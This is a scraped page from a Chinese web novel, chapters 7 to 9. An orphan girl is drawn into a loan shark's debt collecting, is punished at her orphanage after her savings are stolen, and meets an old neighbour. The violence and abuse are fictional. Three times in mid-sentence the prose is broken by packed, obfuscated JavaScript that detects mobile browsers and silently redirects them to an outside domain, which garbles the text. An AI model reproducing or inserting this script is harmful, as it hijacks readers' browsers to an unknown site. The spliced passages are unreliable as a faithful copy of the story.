车里一股难闻的烟草味,像是坐车的人常年在这里抽烟,整个车厢都给腌入了味。 开车的胖子满胳膊的纹身,一手腕都是金链子。 胖子回头看了一眼,神色很明显有点震惊,但又碍于后座坐的是宋祈,憋了半天也没有开口。 阮云琛当然也没有开口。 她设想过一万种不同的结局,最坏的不过是上车就死。 可转念一想,宋祈弄死自己,虽然毫不费力,但似乎对他自己而言没有任何好处。 “小小丫头,绷着个脸想什么呢?”宋祈朝阮云琛的脸上吐了口烟。 阮云琛悄悄地屏住了呼吸,扭头往窗外看了去。 窗外的霓虹灯闪烁得像是半死不活的萤火虫,偶尔一阵风吹过,灯管便发出不堪重负的“嗡嗡”声。街边的墙壁斑驳脱落,贴着几张泛黄的广告纸,被雨水打湿后边角卷曲,显得越发破败。 路灯的光线时明时暗,勉强照亮了坑洼的水泥路面。街道两旁挤满了低矮的平房和狭窄的小店铺,铁卷门大多半掩着,透出里头模糊的影子,偶尔有人在门口晃动,眼神警惕而冷漠。 车子颠簸着驶过一个积水坑,溅起泥水砸在窗上,水痕拉出一道扭曲的弧线,像是街道破碎的倒影。 阮云琛的目光落在不远处几个流浪汉的身影上,他们窝在破旧的棉被里,手里提着酒瓶,低声说着什么,不时爆发出一阵哑哑的笑声。 整个街区弥漫着一股湿冷的气息,混杂着垃圾堆发酵的酸臭味。街头拐角处有家小餐馆,昏黄的灯光下挂着手写的菜单,油腻的塑料布被风吹得瑟瑟发抖。 车子拐进一条更窄的小巷,路旁连路灯都没了,只剩下汽车的前灯勉强撕开黑暗。地上的碎石和玻璃渣在灯光下泛着冷光,阮云琛无声地收回了目光,跟着宋祈下了车,沿着街道往深巷走去。 夜色越来越浓,街边的路灯间隔稀疏,光影时明时暗。脚下的路面变得坑洼不平,空气中弥漫着湿漉漉的腐朽气味。 宋祈没有回头,只是随手指了指前面的一家二层小楼:“看见没?就是那儿。” 阮云琛顺着他的手指看过去,那楼房窗户半开着,透出昏黄的灯光,隐约能听到里面传来断断续续的电视声。楼前的铁门上挂着一块“修车铺”的招牌,门口停着几辆破旧的自行车。 “里面那家伙欠了三个月的利息。”宋祈停下脚步,侧过头看着她,嘴角勾起一抹冷笑,“带你见见世面。” 他一边说,一边把手上的烟掐灭,随手丢在路边。然后转过身,抬脚踹开了那扇铁门,哐当一声,几乎震碎了这条巷子的安静。 屋里的电视声顿时停了,紧接着传来一阵急促的脚步声。一个身形瘦削的中年男人探出头,看到宋祈的瞬间,脸色一下子变得苍白。 “祈……祈哥?”他声音发抖,手里还握着一把油腻的扳手,仿佛那是他唯一的武器。 宋祈没有理会,径直走了进去,语气懒散:“账怎么算的,还记得吧?” 男人手里的扳手掉在地上,发出清脆的一声响。他一边弯腰去捡,一边慌乱地说:“祈哥,您再宽限几天,我这段时间真是手头紧……” “宽限?”宋祈笑了,笑声不大,却让人听着发寒。他抬起脚,把那扳手踢到了一边,“你当这是慈善机构?” 阮云琛站在门口,没有进去。她看着这一切,眼神平静得没有波澜。 宋祈这时转过头,冲她招了招手:“过来。” 7. 债 她犹豫了一瞬,还是走了过去。 “来,”宋祈从口袋里掏出一张皱巴巴的账单,递给她,“告诉他,他该还多少。” 阮云琛接过账单,低头扫了一眼,利息加本金的数字清晰地写在上头。 “两千八百七十。”她抬起头,声音冷静地念了出来。 那男人的脸色更白了,他连连后退,脚后跟撞上了一辆自行车。他哆哆嗦嗦地说:“祈哥,您知道的,我最近真是……真是……” “真是什么?”宋祈的声音一瞬间冷了下来,他从阮云琛手里接过账单,随手一甩,砸在男人脸上,“我看你是真不想活了。” 男人慌了,扑通一声跪在地上:“祈哥,您再宽限一周,我一定想办法还钱!真的,我发誓!” 宋祈冷笑一声,吐出一个烟圈,目光懒懒地落在阮云琛身上:“你说,该怎么办?” 阮云琛没有说话,她的视线从地上那个瑟瑟发抖的男人身上移开,低垂着眼,仿佛认真思索着宋祈的问题。 空气里满是烟草的辛辣味和铁锈般的压迫感,她的手微微握紧,指尖隐隐泛白。 “说呀,别装哑巴。”宋祈声音里多了几分不耐,嘴角却扬起一抹冷笑,像是猎人随手拨弄陷阱旁的小猎物。 阮云琛抬起头,看了一眼宋祈,又看向那个跪在地上、哭得满脸是泪的男人。 她的唇抿得很紧,像是在逼自己说出什么。 “有答案了?”宋祈笑道,“有答案就说出来,怕什么?这里可都是我们自己的人。” “砍条胳膊。” 这声音不大,却是字字清晰,冷不丁地落在这狭窄的修车铺里。 所有人都愣了一下。 宋祈反应过来,噗嗤一声笑了出来。渐渐地,那笑声开始变大,直到肆无忌惮地喷涌而出。 他捂着肚子摇了摇头,像是听到了什么天大的笑话:“上来就玩儿这么大的?” 他用已经被抽得都灭掉了的烟头点了点阮云琛,眉眼间带着些戏谑:“还真敢说啊。” 阮云琛没有接话,手指下意识地捏紧了衣角。 她的确不懂这些,但她记得电视里的画面,收债时不是断胳膊就是砍腿,灌水泥桶扔进河里……她甚至还记得自己在福利院时有个小男孩儿偷偷和她说,那些人把人五花大绑沉进水里时,身上会绑着旧电风扇。 她没见过真的,但...... 她知道力气够了,刀刃够快,就能让人闭嘴。 永远地闭嘴。 宋祈看着她的表情,眼里掠过一丝兴趣。 他甩了甩手里的烟灰,像是下了什么结论,玩味地笑道:“搬点东西得了。” 他说完这句话,车铺里的人一个个都愣住了。 “搬东西?”其中一个跟着宋祈的手下迟疑地问了一句,语气里透着点儿难以置信。 “搬点儿值钱的当利息,有问题?”宋祈挑了挑眉,眼神一转,周围瞬间安静下来。 “我们这可是法治社会。”宋祈吊儿郎当地补了一句,掸了掸烟灰,站起身,指了指墙角那一堆工具,“先把那些带走。” 修车铺的老板跪在地上,哭得嗓音都哑了,嘴里不停地喊:“别、别动那些……我儿子明天还要用啊,求求您,给点时间!” 可宋祈甚至连头都懒得回,只摆了摆手。 几个手下心领神会,三两下就把墙角的工具箱和几台机器搬了出去。修车铺的老板瘫在地上,脸上的泪痕混着灰尘,整个人缩成了一团,却没一个人同情他。 阮云琛站在原地,看着眼前的这一切。 她第一次近距离目睹这种场景。 总觉得心里像是被什么东西压住了,沉甸甸的,喘不过气。 宋祈点了一支烟,吐出一口雾气,看了她一眼:“不错,挺上道的。” 阮云琛没接话,眼睛盯着地上被丢弃的扳手,手却攥得死紧。 “记住,以后这就是你的活儿了。”宋祈的声音悠悠传来,“能干,就一直干下去。干不了的话......” 他没再说下去,只是笑了笑,转身走向门外。 天色更暗了。 阮云琛回到福利院时,天已经蒙蒙亮了。 车子停在门口,送她回来的手下懒散地打了个哈欠,把她从后座赶了下来,没发完的传单也一同扔了下来,散了一地。阮云琛没吭声,默默地把传单捡了起来。 车子“嗡”地一下就走了,喷了一路黑了吧唧的尾气。 阮云琛敲响了福利院的门。 门口的保安不耐烦地上下打量了她一眼,也没问什么,直接就扯开了门口的铁链,让她进了去。 铁门咯吱一声关上,将外面的世界隔绝得干干净净。 阮云琛站在门口,隔着裤子兜握了握口袋里藏着的几张皱巴巴的钞票。冷风从裤腿里钻了进来,冻得她的浑身发木。 门内很安静,只有隐约的脚步声从楼上传来。 空气里有一种异样的安静,像是一场酝酿中的风暴。 阮云琛拖着一身疲惫推开宿舍门,还没来得及迈进去,就被迎面冲出来的一个人撞了一下。那力道不大,只是她太累了,直接被撞了个踉跄,手掌下意识撑在门框上。 是同屋的蒋翠儿。 “昨晚回来得挺晚啊,”她漫不经心地开口,语气里透着股居高临下的闲适,“都没赶上查房吧?运气倒挺好。” 阮云琛没有理她。 她只抬眼扫了一圈屋内,见屋里几乎都空了,转身就打算出去。 “回来不看一眼自己的床铺?”蒋翠儿的声音又响了起来,这次带着点掩不住的幸灾乐祸,“我跟你说啊……昨晚可热闹着呢。” 蒋翠儿换了个姿势,抱着双臂靠在门框上,目光不怀好意地追随着她:“要不然,我帮你猜猜丢了什么?” 阮云琛顿住了。 她皱了皱眉,瞥了眼蒋翠儿,心里冒出来了股不好的预感,飞快地往最里头的床铺跑去。 被褥皱得像一团揉碎的纸,衣服七零八落地散在地上,枕头歪在一旁,露出底下光秃秃的床板。 淼淼正坐在床角,抱着一只缺了耳朵的布娃娃,眼睛红肿得像两颗熟透的桃子。 淼淼没事,床铺和日常用品也都在,唯独...... “……你的私房钱没咯!”蒋翠儿拖着长长的尾音,嘴角的笑容渐渐绽开。 她的语气里有一种刻意放大的轻松,就像是往烧开的油锅里倒水,期待着某种剧烈的反应。 但阮云琛只是低着头,将散落的衣服一件件捡起来,重新叠好。 “喂,你不会是真傻吧?”蒋翠儿忍不住又开口,语调里透着一种兴奋的迫切,“不问问是谁拿的吗?” “是你?”阮云琛抬起头,目光平静地落在她脸上。 这一句问得太直接,直接到蒋翠儿一时间没接上话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830925|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她脸上的表情僵了一下,但很快调整过来,故作夸张地笑了一声:“我?你可别瞎说啊。可没人看见是我拿的。” 阮云琛淡淡地扫了她一眼,没有说话。 她的眼神空荡荡的床板上停留了一瞬,随即收回,动作从容得像什么都没发生过。 蒋翠儿盯着她,没有从她脸上找到半分预料中的愤怒或慌乱,心里莫名有些不安起来。 她绷了绷神色,故意提高了声音:“哼,少装得那么清高。还不是怕别人知道你藏私?” 阮云琛没有回应,甚至连一个眼神都没给她。 那种无声的冷漠,比任何语言都更具威慑力。 蒋翠儿被噎得话头一滞,心里堵得慌,恼羞成怒地甩了句“看你能装到什么时候”,转身出了屋。 门口的脚步声渐渐远去,阮云琛这才站起身。她把捡好的衣服一件件放回床上,整了整被褥,最后坐在床边,低垂的眼睫在昏暗的光线里投下浅浅的阴影。 直到看到蒋翠儿走,淼淼才用力吸了吸鼻子,“哇”的一声就哭了出来:“姐……姐姐,他们……他们昨晚趁你不在...我想拦着他们,但是我...但是我、” 阮云琛没让她说完。 她伸手揉了揉她乱蓬蓬的头发,把她揽进了怀里。 她当然知道,淼淼连站稳都费力,又怎么可能护住那些钱? 是她不该把攒的钱放在自己的床铺上的。 不该觉得只是堆上一些衣服,那钱就不会被发现的。 “他们拿去哪了?”阮云琛问。 “院长......” 阮云琛的动作顿了一下。 就在这时,宿舍的门忽然被一脚踢了开。 一个身穿褪色蓝工服的女人走进来,吊着牙签,脸上的不耐烦像一层油污,腻在那儿,怎么都不可能擦得掉。 她声音刺耳地在房间里炸开:“阮云琛回来了?给我滚出来!” 淼淼被吓得抽噎了一声,刹时脸色煞白,连忙捂住了自己的嘴。阮云琛摸了摸她的头,转身站了出来。 蓝工服的女人恶狠狠地走了过来,狠狠地拎住了阮云琛的耳朵。她身体被迫向前,踉跄着站起来。 “姐姐!”淼淼哭着跑了过来,张着双臂,试图用自己小小的身躯挡住蓝工服的女人。 女人拽着阮云琛的耳朵,力气大的像要把她的整个脑袋都扯下来。疼痛从耳廓蔓延到头皮,她努力不发出一点声音,连牙关都咬得生疼。 她转过头,看向那个站在原地的孩子——淼淼眼眶红得吓人。 “闭嘴!”女人的呵斥声像皮鞭抽在空气中,淼淼的肩膀一抖,却死死盯着她。 她的喉咙发紧,目光却始终沉静如水,没有一丝波澜。她缓缓地张了张嘴,声音低到只有淼淼能听见:“回去。” 淼淼没有动,站在原地,脸绷得发白,脚下像生了根。 “听话。”她说。 淼淼的嘴唇动了动,拳头握得指节发白。 她坚持了许久,最终还是挪开了脚步,慢吞吞地往后退,眼泪一滴一滴地砸在地板上,又被外面的雨声给掩盖了住。 阮云琛不再看她。 她转回头,耳朵的刺痛让她的每一步都显得僵硬。走廊的孩子们悄悄探头,低声议论着什么。那目光刺在背上,像一根根冰冷的针。 “她完了。”阴影里有人悄声说,带着毫不掩饰的幸灾乐祸。 8. 囚笼之外 走廊里光线昏暗,地板在脚下发出嘎吱嘎吱的声音。孩子们从门缝里偷偷探出头,有的低声议论,有的只是默默地缩回去,假装什么也没看到。 她被带到了方琴院长的办公室。 老女人坐在桌子后面,手里拿着一支笔,不紧不慢地敲着桌面,目光冷冷地盯着她。 “钱哪来的?”方琴开口,声音尖利,带着不容置疑的威压。 “发传单的时候,有人给的。”阮云琛低着头,声音平静。 “有人给的?”方琴冷笑一声,“你骗谁呢?你以为这里是什么地方?发传单能给你那么多钱?” 阮云琛抿了抿唇,没有回答。 方琴站起身,绕过桌子走到她面前,伸出手捏住她的下巴,强迫她抬起头:“再问你一遍,钱,是不是偷的?” 阮云琛的眼神毫无波澜:“不是。” 方琴的手猛地一甩,力道大得让她踉跄了一下。老女人的声音低沉又危险:“你还嘴硬。行,那就关禁闭吧,等你想明白了再说。” 她一挥手,旁边的生活老师立刻上前,将阮云琛拖了出去。 禁闭室的门关上的那一瞬,昏暗的空间里只剩下了她一个人。墙壁冷得像冰,空气里弥漫着霉味。 阮云琛靠着墙坐下,闭上了眼睛。 这一切她早就预料到了。 可预料到又如何?她现在唯一能做的,就是忍耐。忍耐到有一天她能够彻底摆脱这个地方。 禁闭室没有窗,只有一盏昏暗的吊灯,在头顶摇摇欲坠。 阮云琛坐在地上,背靠着墙,冰冷的触感顺着薄薄的衣料钻进骨髓。这里的每一面墙都像是压在人身上的铁板,让人透不过气。 她听不到外面的声音,只有自己的呼吸和心跳在耳边回荡。禁闭室的空气潮湿而浑浊,墙角隐约可见干涸的水迹和发霉的斑点。 阮云琛环抱住双膝,把下巴搁在膝盖上。她闭着眼睛,脑海里一遍又一遍地闪过淼淼抓着那个空铁皮盒子的样子,眼泪沾在她小小的脸颊上,像是雨后的水滴挂在枯萎的叶片上。 她轻轻吸了一口气,慢慢睁开眼。 昏黄的灯光把她的影子拉得又长又薄,贴在墙面上,如同一个被困住的幽灵。 时间过得很慢,慢到她可以听到自己的胃在咕咕作响,慢到每一分每一秒都像是在流沙中挣扎。 三天没有食物,也没有水。 最初的饥饿和口渴像是利刃划过她的神经,但到了后来,一切都变得麻木,像被一层浓雾包裹。 直到她几乎快要失去意识时,禁闭室的门终于被打开了。 外面是黄昏。 刺目的光线涌进来的那一刻,阮云琛下意识地眯起了眼睛。 生活老师站在门口,声音冷冷的:“出来。” 阮云琛扶着墙站起来,脚步有些虚浮,却没让自己摔倒。 门外的风吹来,夹杂着外面世界的喧嚣和人声。那一刻,她觉得自己仿佛终于从窒息中挣脱出来——尽管这只是一场短暂的喘息。 “知道错了吗?”生活老师用了个陈述的语句问出了这个问题。 阮云琛没说话。 生活老师似乎也并不在意她的答案如何。她只是把那根永远不会拿走的牙签从左边牙缝塞去了右边牙缝,又说:“发传单的任务,你还得继续。” 她看着阮云琛,语气淡漠:“别以为关了几天禁闭就能躲过去,快去集合。” 阮云琛没有回答,只是拖着疲惫的身体往院子走去。 院子里,几个孩子在窃窃私语,看到她走过来时,立刻闭上了嘴。 有人偷偷指了指她,又低声嘀咕了几句。她没有理会,只是径直走向传单的集合点。 乌云从远处堆叠而来,沉重得像要压垮城市的脊梁。手中的传单轻飘飘的,每一步都像踩在铁板上。 街上的人群熙熙攘攘,汽车的鸣笛声和人声混杂,像一场永不停歇的噪音交响。阮云琛站在街头,机械地把传单递给路人。 有人接过,有人拒绝,有人只是用冰冷的眼神扫过她。也有人接过传单后,随手丢在地上,扭头骂了一句:“烦死了一天天的。” 风吹乱了发梢,夹杂着湿冷的潮气。阮云琛感到身体里的疲惫像潮水一样涌来,她的手指冰冷得发僵,但依旧一张一张地把传单递出去,动作平静又机械。 “还在发呢?” 忽地一声从头顶传来,不用抬头都能听得出这吊儿郎当的声音到底是来自什么人。 宋祈随手把手里的烟掐灭,随口调侃了一句,“真勤快啊。” 阮云琛没有说话。 “怎么?”宋祈挑了挑眉,“生气了?” “说吧,要做什么?” 宋祈眯了眯眼,似乎有些意外,但很快笑得更加愉悦:“上车吧,带你赚点真金白银的活儿。” 阮云琛站在原地沉默了一瞬,然后抬脚迈向了街边停着的那辆车。 她是需要钱。 需要一笔......能把她和淼淼从福利院里赎出去的钱。 哪怕那笔钱,是从这个男人手里赚到的。 哪怕它是一场危险的豪赌。 车里仍旧是那股熟悉的烟草味,混合着皮革的气息,带着挥之不去的压迫感。阮云琛坐在后座,双手交叠放在膝盖上,低头沉默着。 宋祈倚在座椅上,眼神从她身上扫过,嘴角扬起一抹似笑非笑的弧度:“丫头,你知不知道你这副模样,像个送进监狱的小犯人。” 阮云琛抬眼看了宋祈一眼。 车在淮龙市的破旧街巷中穿行,窗外的风景逐渐从人声鼎沸的闹市变成寂静的老街。砖墙上爬满了陈年的霉迹,街边偶尔有几个闲坐的老人,用麻木的目光注视着驶过的车。 “今天很简单。”宋祈掸了掸烟灰,漫不经心地说,“去帮个忙,讨点利息回来。” 阮云琛没有问“利息”指的是什么,也没有追问“讨利息”的具体方法。她只是点了点头,像是接受了一项无需多言的任务。 车在一栋废弃厂房前停了下来。灰扑扑的建筑伫立在荒地中央,像一只疲惫的野兽,风从破碎的窗户吹进,发出呜呜的响声。 “下车吧。”宋祈开了车门,下令般地说道。 厂房的大门吱呀一声被推开,里面传来低沉的说话声。几个穿着凌乱的男人坐在一张破旧的木桌旁,桌上摆着几瓶廉价酒和一个卷曲的账本。 “梁老板。”宋祈推开门,大摇大摆地走进去,声音懒散却带着让人无法忽视的气势,“怎么?利息拖了几个月,还打算赖账不成?” 坐在最中间的男人——梁老板,脸色当即变了。 他站起身,手在桌子边缘抖了抖,挤出一抹勉强的笑容:“宋哥,生意最近确实不好,能不能再宽限几天……” “不好?”宋祈嗤笑一声,目光扫过桌上的账本和酒,“生意不好还能喝得起酒?梁老板,你这‘不好’,怕是专门给我听的吧?” 梁老板的笑容僵在脸上,额角开始冒出冷汗。 宋祈没有再说话,朝旁边的手下抬了抬下巴。几个彪形大汉立刻上前,把梁老板按回了椅子,毫不客气地开始翻他的抽屉和账本。 阮云琛站在一旁,冷眼旁观着这场毫无悬念的审判。她没有出声,也没有退后,只是静静地看着,像一个旁观者。 “这位是?”梁老板目光一转,终于注意到站在一旁的阮云琛,语气里带着掩饰不住的惶恐。 “捡的小孩儿,带出来见见世面。”宋祈倒是不吝啬解释一嘴,他耸了耸肩,语气轻描淡写。 梁老板的眼神闪了闪,不再说话。 几个手下已经从厂房的角落里搬出了一些看起来值钱的东西——几箱机油和一堆零件。 “行了,就这些。”宋祈站直身体,拍了拍手,“梁老板,利息先抵了,剩下的,自己看着办。” 说完,他转身就走,根本不再多看一眼。 阮云琛跟在他身后,迈步走出了厂房。身后是梁老板的骂声和那些物品被搬上车的声音。 车再次启动,驶离了那片破旧的荒地。 “怎么样?”宋祈突然开口,转头看了她一眼,“今天这课,学到了什么?” “弱者吃亏。”她低声回答。 宋祈大笑,似乎对这个答案颇为满意:“你这小丫头,真是个好苗子。” 车窗外的城市慢慢褪去白天的喧嚣,霓虹灯光在路面上拉长出斑驳的影子。 阮云琛坐在后座,脸颊靠着冰冷的玻璃,神情依旧平静。她的手指在膝上交叠,几乎没有动弹,但脑海里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“还不回去吗?等着下一个任务?”宋祈用手指敲了敲车窗,烟灰掸下来了一些,顺着风吹倒了阮云琛身上。 宋祈笑了一声,顺手就伸去给她拍了掉。阮云琛条件反射地一抖,往后退了一步。 这么一步让宋祈也愣了一下,他动作停顿了几秒,随即又哈哈大笑了起来,笑得他前头开车的都开始脸色发白。 “老大,要不然咱先回去?” 宋祈摆了摆手,示意他闭嘴。开车的人立刻噤声,动都不敢动一下。可他同时又止不住好奇,只能小心翼翼地透过倒车镜往外边看。 阮云琛却忽地一言未发,扭身走了。 她没有回头,也不敢回头,即使是直到走到大门里也没听见街角停着的那辆车发动的声音,她也不敢再分半点目光过去。 她只觉得自己的脚步快得像是在逃避洪水猛兽。耳边的风声渐渐掩盖了身后传来的笑声,烟味也被清冷的空气冲散得干干净净。 直到冲进了福利院的大门里走出十几步远,她才停了下来。 口袋里的那几块皱巴巴的零钞硌着手心,天上渐渐落下的夕阳一点点吞没了所有的光。 刚刚那一瞬间,她差点开了口。 差一点......就差一点。 心里那个可笑的念头差点冲破她的理智,让她对着宋祈问出“能不能假装是领养人把她和淼淼带走”这种疯话。 她闭了闭眼,深吸了一口气,却觉得胸口压得更闷了。 “疯了。”她在心里冷冷地骂了自己一声,指甲抠进掌心,努力压住那股莫名其妙的情绪。 她怎么会有这种想法?宋祈是谁?他是一个随时可能把你推进更深泥潭的人,是一个不需要任何理由就可以决定你生死的人。怎么会有这么荒唐的念头——让他来假扮领养人,把自己从福利院接出来? 她扯了扯嘴角,低头看了一眼自己的脚尖。鞋面上沾了些泥点,看起来脏兮兮的,就像她现在的境地一样,晦暗又可笑。 风从巷口刮过,吹得她的发丝有些凌乱。阮云琛抬起头,目光落在不远处福利院的铁门上。那门锈迹斑斑,像是一张陈旧的网,挡住了所有通向外界的出口。 她握了握口袋里的钞票,觉得这几张钱薄得像纸一样轻,却又像铅一样重。 “得靠自己。”她在心里默念了一遍,低头朝宿舍楼走去。 ——得靠自己。 9. 旧相识 清晨的铃声拉扯着潮湿的空气,将整个福利院从沉寂中拽了出来。楼道里的脚步声此起彼伏,像潮水拍打在石壁上,每一下都透着冷意。 阮云琛揉了揉眼睛,从硬邦邦的床板上坐起来,顺手摸了摸淼淼的头。小女孩还在睡梦中,抱着枕头的手紧紧攥成了拳头,像是在梦里也不肯松开她仅有的安全感。 “起来了,别赖着。”阮云琛低声说。 淼淼迷迷糊糊地睁开眼,揉着脸凑到她怀里蹭了一下。阮云琛没辙,叹了口气。 “再赖床,连白粥都吃不上了。” 淼淼不太高兴地嘟了嘟嘴,睡眼惺忪地爬了起来。 宿舍的空气中弥漫着一股陈年的霉味,像是潮气一直积压在墙里,从未有过散开的机会。 早餐时,孩子们一字排开,端着铁碗站在队伍里。厨房的工作人员拎着一个长柄勺,懒懒地舀着锅里的粥,随手倒进碗里,动作机械得像个木偶。 粥依旧清得像水,米粒稀稀拉拉地飘在碗底,仿佛是在嘲笑谁还对这顿饭抱有期待。 轮到阮云琛时,她伸出碗,接过那勺“粥”。工作人员头也不抬,直接挥手让下一个孩子上前。 淼淼捧着碗跟在她身后,两人一前一后地走到院子的角落。 “姐姐,我的粥里有米!”淼淼小声说,语气里透着一种近乎天真的喜悦。 阮云琛没说话,只是看了她一眼,把自己的馒头掰了一半递过去。淼淼接过来,笑得像是得到了什么天大的恩赐。 四周的孩子们三三两两地挤成一团,低声嘀咕着。 “早知道是这种日子,还不如不活了。” “你有啥资格说这话?再熬几年,说不定还能出去呢。” “出去干嘛?还能活成什么样?”一个年长的男孩冷笑着说。 他们的声音混在风里,像是一把钝刀子,刮在每个人的耳膜上。阮云琛低头喝着自己的粥,目光落在地上的一片水渍上,像是在专心致志地研究它的形状。 阮云琛没有理会这些,她吃得很慢,像是在咀嚼每一口空气。吃完后,她起身把碗送回回收桶,牵着淼淼的手回到队伍里,等待分配一天的任务。 阳光爬上福利院的围墙时,孩子们已经被赶到了街上。工作人员将传单分给他们,随便指了几个方向,便挥手让他们散开。 阮云琛站在一家小店门口,传单一张一张地从她手中递出去。 她不说话,也不多看路人,只是机械地重复着这个动作。偶尔有人接下传单,也会迅速塞进包里,或是随手丢进垃圾桶。 一辆三轮车从她面前驶过,车上的货物晃晃悠悠,发出吱嘎的声响。店门口的风铃被风吹得轻轻晃动,发出一阵清脆的叮当声。 除了领政府和国家的补助之外,福利院就是靠着这些来赚钱。 接下别人的传单活儿,让小孩们发出去。偶尔会有心善的路人给些钱,就那也会被生活老师给没收上去。 阮云琛抬头看了一眼天色。 阳光透过楼与楼之间的缝隙洒下来,光斑像是一块块破碎的镜子,刺得人眼睛生疼。 她低头看着自己手里的传单,目光平静得像一潭死水。 ……快了。 马上就可以走了。 还差两千。 还差两千,就能把她和淼淼一起赎出去。 一个男人接过了传单,看了一眼,随手丢在了地上。 阮云琛没吭声,只捡起地上的传单,重新夹回手里的那一叠。她的动作依旧不慌不忙,仿佛这就是她的全部工作。 午后的阳光逐渐变得炙热,照在人身上像是在烤干每一丝力气。 阮云琛的手指因为长时间抓着传单而发麻,纸张的边缘刮得皮肤生疼。她瞥了一眼传单的数量,悄悄翻出了几张长得不同的单据夹在中间。 ——那是宋祈给的传单。 无须财产证明和资金流水便可直接申请的贷款,1元起贷。 这种传单夹在福利院接下的传单广告里散出去,自然而然的就能给宋祈拉到生意。 福利院的传单大都是各种商铺商家印出来的折扣和新店特惠广告,大多数不愁钱不愁吃穿的都只会嫌烦,但总有那么些喜欢占些优惠便宜的,和一些当真是有生活困扰的。 不愁钱的当然不会看,但贪小便宜的一定会接下。接下的人本就有一半一半的可能性会缺钱花,而如果看到了夹在背后的借贷广告,当真就会心动。 这个伎俩阮云琛已经用得驾轻就熟——福利院并不会认真核对每一张传单每一次任务,那其中的却空,她自然可以顺利地钻进去。 街对面是一个旧货市场,摊贩们的叫卖声此起彼伏,间或夹杂着三轮车急促的刹车声。阮云琛看着那边熙熙攘攘的人群,忽然有些失神。 只差两千块就能把她和淼淼赎出去,可那之后...... 会比福利院更差吗? 从一个火坑跳入另一个火坑,阮云琛从未后悔过“亲手杀了”自己的父亲——尽管他真正的死因是突发脑溢血,撞上了茶几。 可她心里却一直默认为是自己害死了他。 这样想似乎能让她好受一些,至少将那份无法消解的恨意有了一个明确的出口。 但宋祈的出现让一切变得更加模糊。她不知道,和这个人沾上关系究竟是对是错,也不确定自己是否真的还有选择的权利。 宋祈可能并非她唯一的出路,但他是那个时候的她唯一能破罐子破摔想得到的解法。 人在陷入绝境时总会慌不择路,而宋祈就是她眼前唯一能看到的路。 她不能后悔。 她没时间后悔。 她得往前走。 福利院...... 她现在的路,就是逃出福利院。 手腕酸涩,脚底发烫,阮云琛的手习惯性地伸出去,站在面前的人却迟迟没有接下那张传单,反而抽了口气,发出了声有些犹豫的呼唤:“云云?” 阮云琛的手顿住了。 她抬起头,缓缓地看向了面前的人。阳光正足,阮云琛缓了半天才适应了那强烈的光线,而就在那张脸清晰地落进视线里,阮云琛心头微微一震,指尖下意识攥紧了传单。 ——程一冉。 程一冉的妈妈就是当初报案的面店老板万秀,他们就住在阮云琛家楼上一层,偶尔也是能遇得上。 只不过阮启明的事情全楼的住户都知道,所有人都对他们家敬而远之——最好是压根别遇上,所以程一冉和阮云琛也不算是有多熟稔。 但阮云琛倒是有些意外。 意外于会在这里再见到以前认识的人,意外于对方竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830927|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还会......停下,和她打上招呼。 程一冉比记忆中的模样长高了许多,眉眼却依旧熟悉。她背着书包,校服裙下的腿因奔跑而微微发红,目光中带着试探和惊讶:“真的是你?阮云琛?” 阮云琛的手蜷缩了下,手里的传单几乎要被攥出褶皱。她迟疑了一瞬,低声回应:“是我。” 程一冉快步走近,站在她面前,语气里透着显而易见的惊讶:“你这些年去哪了?我们是不是有两年......三年没见了?还是四年来着?大家都说……都说你和淼淼去别的城市了,原来你还在淮龙啊!” 大概是意识到自己话优点太多,程一冉戛然止住了自己的问题。可没过一会儿,她心里又冒出了好奇:“你......你们现在在哪住?” “福利院。”她的声音淡漠,眼神没有半分波动,“淮龙福利院。” 空气突然安静下来。程一冉的表情僵了一下,明显没料到这个答案。 “你还好吗?”她问,语气轻得像怕惊动什么。 阮云琛抿了抿唇,低头把视线投向地面。 街道边的杂草长得很快,鞋尖不小心碰到了一根,在她把脚缩回去的时候,草根又弹了回去:“挺好的。” 程一冉张了张嘴,显然想问些什么,但最终只是叹了口气,换了个话题:“你还记得以前的语文老师吗?我翻到你以前的书,上面还有你画的小乌龟。” 小乌龟。 阮云琛愣了一下,记忆深处似乎被拨动了一根弦。 那是......很久很久以前的事了,她几乎已经不记得自己曾经画过这些东西。 程一冉似乎也意识到自己说错了话,身体不自绝地僵住了。一瞬间空气里全是沉默,阮云琛冷不丁道:“你......还有事吗?没事的话我要继续发传单...” 程一冉欲言又止,最终只是抿了抿嘴:“好吧。” 她低头看了看腕表,匆匆补了一句:“那你……保重。有需要的话......” 程一冉顿了顿,最终还是把后半句咽回了肚子里,默默地拿走了一份阮云琛手里的传单,“有需要的话,可以打110,警察肯定会帮忙的。” 程一冉走了。 阳光晒得人睁不开眼睛,周围的行人如潮水一般涌动,偶尔有几个停下来接过传单,但她没有伸手。 阮云琛握了握手指,又松了开。有股说不明白的情绪在心底翻涌,不深,却让人无法忽视。 她不知道那是什么。 她只是不自绝地捏紧了拳头,指甲抠在了手掌心的茧子上。茧子抵着肉,肉隐隐作痛。 “还给不给钱了?不给赶紧走,别耽误我生意。” 